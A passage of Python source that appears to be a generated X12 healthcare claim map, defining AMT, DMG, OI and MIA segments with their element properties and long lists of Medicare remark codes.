req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'300',desc=u'Coordination of Benefits (COB) Total Medicare Paid Amount'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'N1'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'300',desc=u'Medicare Paid Amount - 100%'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'KF'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'300',desc=u'Medicare Paid Amount - 80%'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'PG'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'300',desc=u'Coordination of Benefits (COB) Medicare A Trust Fund Paid Amount'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'AA'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'300',desc=u'Coordination of Benefits (COB) Medicare B Trust Fund Paid Amount'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'B1'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'300',desc=u'Coordination of Benefits (COB) Total Non-Covered Amount'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'A8'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'300',desc=u'Coordination of Benefits (COB) Total Denied Amount'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'YT'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'DMG', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'305',desc=u'Other Subscriber Demographic Information'), Element( u'DMG01', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'D8'] ) ), Element( u'DMG02', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=2, codes=[] ) ), Element( u'DMG03', Properties(desc=u'Gender Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=3, codes=[u'F', u'M', u'U'] ) ), Element( u'DMG04', Properties(desc=u'Marital Status Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=4, codes=[] ) ), Element( u'DMG05', Properties(desc=u'Race or Ethnicity Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=5, codes=[] ) ), Element( u'DMG06', Properties(desc=u'Citizenship Status Code', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=6, codes=[] ) ), Element( u'DMG07', Properties(desc=u'Country Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=7, codes=[] ) ), Element( u'DMG08', Properties(desc=u'Basis of Verification Code', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=8, codes=[] ) ), Element( u'DMG09', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=9, codes=[] ) ), ), Segment( u'OI', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'310',desc=u'Other Insurance Coverage Information'), Element( u'OI01', Properties(desc=u'Claim Filing Indicator Code', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=1, codes=[] ) ), Element( u'OI02', Properties(desc=u'Claim Submission Reason Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=2, codes=[] ) ), Element( u'OI03', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=3, codes=[u'N', u'Y'] ) ), Element( u'OI04', Properties(desc=u'Patient Signature Source Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=4, codes=[] ) ), Element( u'OI05', Properties(desc=u'Provider Agreement Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=5, codes=[] ) ), Element( u'OI06', Properties(desc=u'Release of Information Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=6, codes=[u'A', u'I', u'M', u'N', u'O', u'Y'] ) ), ), Segment( u'MIA', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'315',desc=u'Medicare Inpatient Adjudication Information'), Element( u'MIA01', Properties(desc=u'Quantity', req_sit=u'R', data_type=(u'R',u'1',u'15'), position=1, codes=[] ) ), Element( u'MIA02', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=2, codes=[] ) ), Element( u'MIA03', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=3, codes=[] ) ), Element( u'MIA04', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'MIA05', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=5, codes=[u'M1', u'M2', u'M3', u'M4', u'M5', u'M6', u'M7', u'M8', u'M9', u'M10', u'M11', u'M12', u'M13', u'M14', u'M15', u'M16', u'M17', u'M18', u'M19', u'M20', u'M21', u'M22', u'M23', u'M24', u'M25', u'M26', u'M27', u'M28', u'M29', u'M30', u'M31', u'M32', u'M33', u'M34', u'M35', u'M36', u'M37', u'M38', u'M39', u'M40', u'M41', u'M42', u'M43', u'M44', u'M45', u'M46', u'M47', u'M48', u'M49', u'M50', u'M51', u'M52', u'M53', u'M54', u'M55', u'M56', u'M57', u'M58', u'M59', u'M60', u'M61', u'M62', u'M63', u'M64', u'M65', u'M66', u'M67', u'M68', u'M69', u'M70', u'M71', u'M72', u'M73', u'M74', u'M75', u'M76', u'M77', u'M78', u'M79', u'M80', u'M81', u'M82', u'M83', u'M84', u'M85', u'M86', u'M87', u'M88', u'M89', u'M90', u'M91', u'M92', u'M93', u'M94', u'M95', u'M96', u'M97', u'M98', u'M99', u'M100', u'M101', u'M102', u'M103', u'M104', u'M105', u'M106', u'M107', u'M108', u'M109', u'M110', u'M111', u'M112', u'M113', u'M114', u'M115', u'M116', u'M117', u'M118', u'M119', u'M120', u'M121', u'M122', u'M123', u'M124', u'M125', u'M126', u'M127', u'M128', u'M129', u'M130', u'M131', u'M132', u'M133', u'M134', u'M135', u'M136', u'M137', u'M138', u'M139', u'M140', u'M141', u'M142', u'M143', u'M144', u'MA01', u'MA02', u'MA03', u'MA04', u'MA05', u'MA06', u'MA07', u'MA08', u'MA09', u'MA10', u'MA11', u'MA12', u'MA13', u'MA14', u'MA15', u'MA16', u'MA17', u'MA18', u'MA19', u'MA20', u'MA21', u'MA22', u'MA23', u'MA24', u'MA25', u'MA26', u'MA27', u'MA28', u'MA29', u'MA30', u'MA31', u'MA32', u'MA33', u'MA34', u'MA35', u'MA36', u'MA37', u'MA38', u'MA39', u'MA40', u'MA41', u'MA42', u'MA43', u'MA44', u'MA45', u'MA46', u'MA47', u'MA48', u'MA49', u'MA50', u'MA51', u'MA52', u'MA53', u'MA54', u'MA55', u'MA56', u'MA57', u'MA58', u'MA59', u'MA60', u'MA61', u'MA62', u'MA63', u'MA64', u'MA65', u'MA66', u'MA67', u'MA68', u'MA69', u'MA70', u'MA71', u'MA72', u'MA73', u'MA74', u'MA75', u'MA76', u'MA77', u'MA78', u'MA79', u'MA80', u'MA81', u'MA82', u'MA83', u'MA84', u'MA85', u'MA86', u'MA87', u'MA88', u'MA89', u'MA90', u'MA91', u'MA92', u'MA93', u'MA94', u'MA95', u'MA96', u'MA97', u'MA98', u'MA99', u'MA100', u'MA101', u'MA102', u'MA103', u'MA104', u'MA105', u'MA106', u'MA107', u'MA108', u'MA109', u'MA110', u'MA111', u'MA112', u'MA113', u'MA114', u'MA115', u'MA116', u'MA117', u'MA118', u'MA119', u'MA120', u'MA121', u'MA122', u'MA123', u'MA124', u'MA125', u'MA126', u'MA127', u'MA128', u'MA129', u'MA130', u'MA131', u'MA132', u'MA133', u'MA134', u'N1', u'N2', u'N3', u'N4', u'N5', u'N6', u'N7', u'N8', u'N9', u'N10', u'N11', u'N12', u'N13', u'N14', u'N15', u'N16', u'N17', u'N18', u'N19', u'N20', u'N21', u'N22', u'N23', u'N24', u'N25', u'N26', u'N27', u'N28', u'N29', u'N30', u'N31', u'N32', u'N33', u'N34', u'N35', u'N36', u'N37', u'N38', u'N39', u'N40', u'N41', u'N42', u'N43', u'N44', u'N45', u'N46', u'N47', u'N48', u'N49', u'N50', u'N51', u'N52', u'N53', u'N54', u'N55', u'N56', u'N57', u'N58', u'N59', u'N60', u'N61', u'N62', u'N63', u'N64', u'N65', u'N66', u'N67', u'N68', u'N69', u'N70', u'N71', u'N72', u'N73', u'N74', u'N75', u'N76', u'N77', u'N78', u'N79', u'N80', u'N81', u'N82', u'N83', u'N84', u'N85', u'N86', u'N87', u'N88', u'N89', u'N90', u'N91', u'N92', u'N93', u'N94', u'N95', u'N96', u'N97', u'N98', u'N99', u'N100', u'N101', u'N102', u'N103', u'N104', u'N105', u'N106', u'N107', u'N108', u'N109', u'N110', u'N111', u'N112', u'N113', u'N114', u'N115', u'N116', u'N117', u'N118', u'N119', u'N120', u'N121', u'N122', u'N123', u'N124', u'N125', u'N126', u'N127', u'N128', u'N129', u'N130', u'N131', u'N132', u'N133', u'N134', u'N135', u'N136', u'N137', u'N138', u'N139', u'N140', u'N141', u'N142', u'N143', u'N144', u'N145', u'N146', u'N147', u'N148', u'N149', u'N150', u'N151', u'N152', u'N153', u'N154', u'N155', u'N156 '] ) ), Element( u'MIA06', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=6, codes=[] ) ), Element( u'MIA07', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=7, codes=[] ) ), Element( u'MIA08', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=8, codes=[] ) ), Element( u'MIA09', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=9, codes=[] ) ), Element( u'MIA10', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=10, codes=[] ) ), Element( u'MIA11', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=11, codes=[] ) ), Element( u'MIA12', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=12, codes=[] ) ), Element( u'MIA13', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=13, codes=[] ) ), Element( u'MIA14', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=14, codes=[] ) ), Element( u'MIA15', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=15, codes=[] ) ), Element( u'MIA16', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=16, codes=[] ) ), Element( u'MIA17', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=17, codes=[] ) ), Element( u'MIA18', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=18, codes=[] ) ), Element( u'MIA19', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=19, codes=[] ) ), Element( u'MIA20', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=20, codes=[u'M1', u'M2', u'M3', u'M4', u'M5', u'M6', u'M7', u'M8', u'M9', u'M10', u'M11', u'M12', u'M13', u'M14', u'M15', u'M16', u'M17', u'M18', u'M19', u'M20', u'M21', u'M22', u'M23', u'M24', u'M25', u'M26', u'M27', u'M28', u'M29', u'M30', u'M31', u'M32', u'M33', u'M34', u'M35', u'M36', u'M37', u'M38', u'M39', u'M40', u'M41', u'M42', u'M43', u'M44', u'M45', u'M46', u'M47', u'M48', u'M49', u'M50', u'M51', u'M52', u'M53', u'M54', u'M55', u'M56', u'M57', u'M58', u'M59', u'M60', u'M61', u'M62', u'M63', u'M64', u'M65', u'M66', u'M67', u'M68', u'M69', u'M70', u'M71', u'M72', u'M73', u'M74', u'M75', u'M76', u'M77', u'M78', u'M79', u'M80', u'M81', u'M82', u'M83', u'M84', u'M85', u'M86', u'M87', u'M88', u'M89', u'M90', u'M91', u'M92', u'M93', u'M94', u'M95', u'M96', u'M97', u'M98', u'M99', u'M100', u'M101', u'M102', u'M103', u'M104', u'M105', u'M106', u'M107', u'M108', u'M109', u'M110', u'M111', u'M112', u'M113', u'M114', u'M115', u'M116', u'M117', u'M118', u'M119', u'M120', u'M121', u'M122', u'M123', u'M124', u'M125', u'M126', u'M127', u'M128', u'M129', u'M130', u'M131', u'M132', u'M133', u'M134', u'M135', u'M136', u'M137', u'M138', u'M139', u'M140', u'M141', u'M142', u'M143', u'M144', u'MA01', u'MA02', u'MA03', u'MA04', u'MA05', u'MA06', u'MA07', u'MA08', u'MA09', u'MA10', u'MA11', u'MA12', u'MA13', u'MA14', u'MA15', u'MA16', u'MA17', u'MA18', u'MA19', u'MA20', u'MA21', u'MA22', u'MA23', u'MA24', u'MA25', u'MA26', u'MA27', u'MA28', u'MA29', u'MA30', u'MA31', u'MA32', u'MA33', u'MA34', u'MA35', u'MA36', u'MA37', u'MA38', u'MA39', u'MA40', u'MA41', u'MA42', u'MA43', u'MA44', u'MA45', u'MA46', u'MA47', u'MA48', u'MA49', u'MA50', u'MA51', u'MA52', u'MA53', u'MA54', u'MA55', u'MA56', u'MA57', u'MA58', u'MA59', u'MA60', u'MA61', u'MA62', u'MA63', u'MA64', u'MA65', u'MA66', u'MA67', u'MA68', u'MA69', u'MA70', u'MA71', u'MA72', u'MA73', u'MA74', u'MA75', u'MA76', u'MA77', u'MA78', u'MA79', u'MA80', u'MA81', u'MA82', u'MA83', u'MA84', u'MA85', u'MA86', u'MA87', u'MA88', u'MA89', u'MA90', u'MA91', u'MA92', u'MA93', u'MA94', u'MA95', u'MA96', u'MA97', u'MA98', u'MA99', u'MA100', u'MA101', u'MA102', u'MA103', u'MA104', u'MA105', u'MA106', u'MA107', u'MA108', u'MA109', u'MA110', u'MA111', u'MA112', u'MA113', u'MA114', u'MA115', u'MA116', u'MA117', u'MA118', u'MA119', u'MA120', u'MA121', u'MA122', u'MA123', u'MA124', u'MA125', u'MA126', u'MA127', u'MA128', u'MA129', u'MA130', u'MA131', u'MA132', u'MA133', u'MA134', u'N1', u'N2', u'N3', u'N4', u'N5', u'N6', u'N7', u'N8', u'N9', u'N10', u'N11', u'N12', u'N13', u'N14', u'N15', u'N16', u'N17', u'N18', u'N19', u'N20', u'N21', u'N22', u'N23', u'N24', u'N25', u'N26', u'N27', u'N28', u'N29', u'N30', u'N31', u'N32', u'N33', u'N34', u'N35', u'N36', u'N37', u'N38', u'N39', u'N40', u'N41', u'N42', u'N43', u'N44', u'N45', u'N46', u'N47', u'N48', u'N49', u'N50', u'N51', u'N52', u'N53', u'N54', u'N55', u'N56', u'N57', u'N58', u'N59', u'N60', u'N61', u'N62', u'N63', u'N64', u'N65', u'N66', u'N67', u'N68', u'N69', u'N70', u'N71', u'N72', u'N73', u'N74', u'N75', u'N76', u'N77', u'N78', u'N79', u'N80', u'N81', u'N82', u'N83', u'N84', u'N85', u'N86', u'N87', u'N88', u'N89', u'N90', u'N91', u'N92', u'N93', u'N94', u'N95', u'N96', u'N97', u'N98', u'N99', u'N100', u'N101', u'N102', u'N103', u'N104', u'N105', u'N106', u'N107', u'N108', u'N109', u'N110', u'N111', u'N112', u'N113', u'N114', u'N115', u'N116', u'N117', u'N118', u'N119', u'N120', u'N121', u'N122', u'N123', u'N124', u'N125', u'N126', u'N127', u'N128', u'N129', u'N130', u'N131', u'N132', u'N133', u'N134', u'N135', u'N136', u'N137', u'N138', u'N139', u'N140', u'N141', u'N142', u'N143', u'N144', u'N145', u'N146', u'N147', u'N148', u'N149', u'N150', u'N151', u'N152', u'N153', u'N154', u'N155', u'N156 '] ) ), Element( u'MIA21', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=21, codes=[u'M1', u'M2', u'M3', u'M4', u'M5', u'M6', u'M7', u'M8', u'M9', u'M10', u'M11', u'M12', u'M13', u'M14', u'M15', u'M16', u'M17', u'M18', u'M19', u'M20', u'M21', u'M22', u'M23', u'M24', u'M25', u'M26', u'M27', u'M28', u'M29', u'M30', u'M31', u'M32', u'M33', u'M34', u'M35', u'M36', u'M37', u'M38', u'M39', u'M40', u'M41', u'M42', u'M43', u'M44', u'M45', u'M46', u'M47', u'M48', u'M49', u'M50', u'M51', u'M52', u'M53', u'M54', u'M55', u'M56', u'M57', u'M58', u'M59', u'M60', u'M61', u'M62', u'M63', u'M64', u'M65', u'M66', u'M67', u'M68', u'M69', u'M70', u'M71', u'M72', u'M73', u'M74', u'M75', u'M76', u'M77', u'M78', u'M79', u'M80', u'M81', u'M82', u'M83', u'M84', u'M85', u'M86', u'M87', u'M88', u'M89', u'M90', u'M91', u'M92', u'M93', u'M94', u'M95', u'M96', u'M97', u'M98', u'M99', u'M100', u'M101', u'M102', u'M103', u'M104', u'M105', u'M106', u'M107', u'M108', u'M109', u'M110', u'M111', u'M112', u'M113', u'M114', u'M115', u'M116', u'M117', u'M118', u'M119', u'M120', u'M121', u'M122', u'M123', u'M124', u'M125', u'M126', u'M127', u'M128', u'M129', u'M130', u'M131', u'M132', u'M133', u'M134', u'M135', u'M136', u'M137', u'M138', u'M139', u'M140', u'M141', u'M142', u'M143', u'M144', u'MA01', u'MA02', u'MA03', u'MA04', u'MA05', u'MA06', u'MA07', u'MA08', u'MA09', u'MA10', u'MA11', u'MA12', u'MA13', u'MA14', u'MA15', u'MA16', u'MA17', u'MA18', u'MA19', u'MA20', u'MA21', u'MA22', u'MA23', u'MA24', u'MA25', u'MA26', u'MA27', u'MA28', u'MA29', u'MA30', u'MA31', u'MA32', u'MA33', u'MA34', u'MA35', u'MA36', u'MA37', u'MA38', u'MA39', u'MA40', u'MA41', u'MA42', u'MA43', u'MA44', u'MA45', u'MA46', u'MA47', u'MA48', u'MA49', u'MA50', u'MA51', u'MA52', u'MA53', u'MA54', u'MA55', u'MA56', u'MA57', u'MA58', u'MA59', u'MA60', u'MA61', u'MA62', u'MA63', u'MA64', u'MA65', u'MA66', u'MA67', u'MA68', u'MA69', u'MA70', u'MA71', u'MA72', u'MA73', u'MA74', u'MA75', u'MA76', u'MA77', u'MA78', u'MA79', u'MA80', u'MA81', u'MA82', u'MA83', u'MA84', u'MA85', u'MA86', u'MA87', u'MA88', u'MA89', u'MA90', u'MA91', u'MA92', u'MA93', u'MA94', u'MA95', u'MA96', u'MA97', u'MA98', u'MA99', u'MA100', u'MA101', u'MA102', u'MA103', u'MA104', u'MA105', u'MA106', u'MA107', u'MA108', u'MA109', u'MA110', u'MA111', u'MA112', u'MA113', u'MA114', u'MA115', u'MA116', u'MA117', u'MA118', u'MA119', u'MA120', u'MA121', u'MA122', u'MA123', u'MA124', u'MA125', u'MA126', u'MA127', u'MA128', u'MA129', u'MA130', u'MA131', u'MA132', u'MA133', u'MA134', u'N1', u'N2', u'N3', u'N4', u'N5', u'N6', u'N7', u'N8', u'N9', u'N10', u'N11', u'N12', u'N13', u'N14', u'N15', u'N16', u'N17', u'N18', u'N19', u'N20', u'N21', u'N22', u'N23', u'N24', u'N25', u'N26', u'N27', u'N28', u'N29', u'N30', u'N31', u'N32', u'N33', u'N34', u'N35', u'N36', u'N37', u'N38', u'N39', u'N40', u'N41', u'N42', u'N43', u'N44', u'N45', u'N46', u'N47', u'N48', u'N49', u'N50', u'N51', u'N52', u'N53', u'N54', u'N55', u'N56', u'N57', u'N58', u'N59', u'N60', u'N61', u'N62', u'N63', u'N64', u'N65', u'N66', u'N67', u'N68', u'N69', u'N70', u'N71', u'N72', u'N73', u'N74', u'N75', u'N76', u'N77', u'N78', u'N79', u'N80', u'N81', u'N82', u'N83', u'N84', u'N85', u'N86', u'N87', u'N88', u'N89', u'N90', u'N91', u'N92', u'N93', u'N94', u'N95', u'N96', u'N97', u'N98', u'N99', u'N100', u'N101', u'N102', u'N103', u'N104', u'N105', u'N106', u'N107', u'N108', u'N109', u'N110', u'N111', u'N112', u'N113', u'N114', u'N115', u'N116', u'N117', u'N118', u'N119', u'N120', u'N121', u'N122', u'N123', u'N124', u'N125', u'N126', u'N127', u'N128', u'N129', u'N130', u'N131', u'N132', u'N133', u'N134', u'N135', u'N136', u'N137', u'N138', u'N139', u'N140', u'N141', u'N142', u'N143', u'N144', u'N145', u'N146', u'N147', u'N148', u'N149', u'N150', u'N151', u'N152', u'N153', u'N154', u'N155', u'N156 '] ) ), Element( u'MIA22', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=22, codes=[u'M1', u'M2', u'M3', u'M4', u'M5', u'M6', u'M7', u'M8', u'M9', u'M10', u'M11', u'M12', u'M13', u'M14', u'M15', u'M16', u'M17', u'M18', u'M19', u'M20', u'M21', u'M22', u'M23', u'M24', u'M25', u'M26', u'M27', u'M28', u'M29', u'M30', u'M31', u'M32', u'M33', u'M34', u'M35', u'M36', u'M37', u'M38', u'M39', u'M40', u'M41', u'M42', u'M43', u'M44', u'M45', u'M46', u'M47', u'M48', u'M49', u'M50', u'M51', u'M52', u'M53', u'M54', u'M55', u'M56', u'M57', u'M58', u'M59', u'M60', u'M61', u'M62', u'M63', u'M64', u'M65', u'M66', u'M67', u'M68', u'M69', u'M70', u'M71', u'M72', u'M73', u'M74', u'M75', u'M76', u'M77', u'M78', u'M79', u'M80', u'M81', u'M82', u'M83', u'M84', u'M85', u'M86', u'M87', u'M88', u'M89', u'M90', u'M91', u'M92', u'M93', u'M94', u'M95', u'M96', u'M97', u'M98', u'M99', u'M100', u'M101', u'M102', u'M103', u'M104', u'M105', u'M106', u'M107', u'M108', u'M109', u'M110', u'M111', u'M112', u'M113', u'M114', u'M115', u'M116', u'M117', u'M118', u'M119', u'M120', u'M121', u'M122', u'M123', u'M124', u'M125', u'M126', u'M127', u'M128', u'M129', u'M130', u'M131', u'M132', u'M133', u'M134', u'M135', u'M136', u'M137', u'M138', u'M139', u'M140', u'M141', u'M142', u'M143', u'M144', u'MA01', u'MA02', u'MA03', u'MA04', u'MA05', u'MA06', u'MA07', u'MA08', u'MA09', u'MA10', u'MA11', u'MA12', u'MA13', u'MA14', u'MA15', u'MA16', u'MA17', u'MA18', u'MA19', u'MA20', u'MA21', u'MA22', u'MA23', u'MA24', u'MA25', u'MA26', u'MA27', u'MA28', u'MA29', u'MA30', u'MA31', u'MA32', u'MA33', u'MA34', u'MA35', u'MA36', u'MA37', u'MA38', u'MA39', u'MA40', u'MA41', u'MA42', u'MA43', u'MA44', u'MA45', u'MA46', u'MA47', u'MA48', u'MA49', u'MA50', u'MA51', u'MA52', u'MA53', u'MA54', u'MA55', u'MA56', u'MA57', u'MA58', u'MA59', u'MA60', u'MA61', u'MA62', u'MA63', u'MA64', u'MA65', u'MA66', u'MA67', u'MA68', u'MA69', u'MA70', u'MA71', u'MA72', u'MA73', u'MA74', u'MA75', u'MA76', u'MA77', u'MA78', u'MA79', u'MA80', u'MA81', u'MA82', u'MA83', u'MA84', u'MA85', u'MA86', u'MA87', u'MA88', u'MA89', u'MA90', u'MA91', u'MA92', u'MA93', u'MA94', u'MA95', u'MA96', u'MA97', u'MA98', u'MA99', u'MA100', u'MA101', u'MA102', u'MA103', u'MA104', u'MA105', u'MA106', u'MA107', u'MA108', u'MA109', u'MA110', u'MA111', u'MA112', u'MA113', u'MA114', u'MA115', u'MA116', u'MA117', u'MA118', u'MA119', u'MA120', u'MA121', u'MA122', u'MA123', u'MA124', u'MA125', u'MA126', u'MA127', u'MA128', u'MA129', u'MA130', u'MA131', u'MA132', u'MA133', u'MA134', u'N1', u'N2', u'N3', u'N4', u'N5', u'N6', u'N7', u'N8', u'N9', u'N10', u'N11', u'N12', u'N13', u'N14', u'N15', u'N16', u'N17', u'N18', u'N19', u'N20', u'N21', u'N22', u'N23', u'N24', u'N25', u'N26', u'N27', u'N28', u'N29', u'N30', u'N31', u'N32', u'N33', u'N34', u'N35', u'N36', u'N37', u'N38', u'N39', u'N40', u'N41', u'N42', u'N43', u'N44', u'N45', u'N46', u'N47', u'N48', u'N49', u'N50', u'N51', u'N52', u'N53', u'N54', u'N55', u'N56', u'N57', u'N58', u'N59', u'N60', u'N61', u'N62', u'N63', u'N64', u'N65', u'N66', u'N67', u'N68', u'N69', u'N70', u'N71', u'N72', u'N73', u'N74', u'N75', u'N76', u'N77', u'N78', u'N79', u'N80', u'N81', u'N82', u'N83', u'N84', u'N85', u'N86', u'N87', u'N88', u'N89', u'N90', u'N91', u'N92', u'N93', u'N94', u'N95', u'N96', u'N97', u'N98', u'N99', u'N100', u'N101', u'N102', u'N103', u'N104', u'N105', u'N106', u'N107', u'N108', u'N109', u'N110', u'N111', u'N112', u'N113', u'N114', u'N115', u'N116', u'N117', u'N118', u'N119', u'N120', u'N121', u'N122', u'N123', u'N124', u'N125', u'N126', u'N127', u'N128', u'N129', u'N130', u'N131', u'N132', u'N133', u'N134', u'N135', u'N136', u'N137', u'N138', u'N139', u'N140', u'N141', u'N142', u'N143', u'N144', u'N145', u'N146', u'N147', u'N148', u'N149', u'N150', u'N151', u'N152', u'N153', u'N154', u'N155', u'N156 '] ) ), Element( u'MIA23', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=23, codes=[u'M1', u'M2', u'M3', u'M4', u'M5', u'M6', u'M7', u'M8', u'M9', u'M10', u'M11', u'M12', u'M13', u'M14', u'M15', u'M16', u'M17', u'M18', u'M19', u'M20', u'M21', u'M22', u'M23', u'M24', u'M25', u'M26', u'M27', u'M28', u'M29', u'M30', u'M31', u'M32', u'M33', u'M34', u'M35', u'M36', u'M37', u'M38', u'M39', u'M40', u'M41', u'M42', u'M43', u'M44', u'M45', u'M46', u'M47', u'M48', u'M49', u'M50', u'M51', u'M52', u'M53', u'M54', u'M55', u'M56', u'M57', u'M58', u'M59', u'M60', u'M61', u'M62', u'M63', u'M64', u'M65', u'M66', u'M67', u'M68', u'M69', u'M70', u'M71', u'M72', u'M73', u'M74', u'M75', u'M76', u'M77', u'M78', u'M79', u'M80', u'M81', u'M82', u'M83', u'M84', u'M85', u'M86', u'M87', u'M88', u'M89', u'M90', u'M91', u'M92', u'M93', u'M94', u'M95', u'M96', u'M97', u'M98', u'M99', u'M100', u'M101', u'M102', u'M103', u'M104', u'M105', u'M106', u'M107', u'M108', u'M109', u'M110', u'M111', u'M112', u'M113', u'M114', u'M115', u'M116', u'M117', u'M118', u'M119', u'M120', u'M121', u'M122', u'M123', u'M124', u'M125', u'M126', u'M127', u'M128', u'M129', u'M130', u'M131', u'M132', u'M133', u'M134', u'M135', u'M136', u'M137', u'M138', u'M139', u'M140', u'M141', u'M142', u'M143', u'M144', u'MA01', u'MA02', u'MA03', u'MA04', u'MA05', u'MA06', u'MA07', u'MA08', u'MA09', u'MA10', u'MA11', u'MA12', u'MA13', u'MA14', u'MA15', u'MA16', u'MA17', u'MA18', u'MA19', u'MA20', u'MA21', u'MA22', u'MA23', u'MA24', u'MA25', u'MA26', u'MA27', u'MA28', u'MA29', 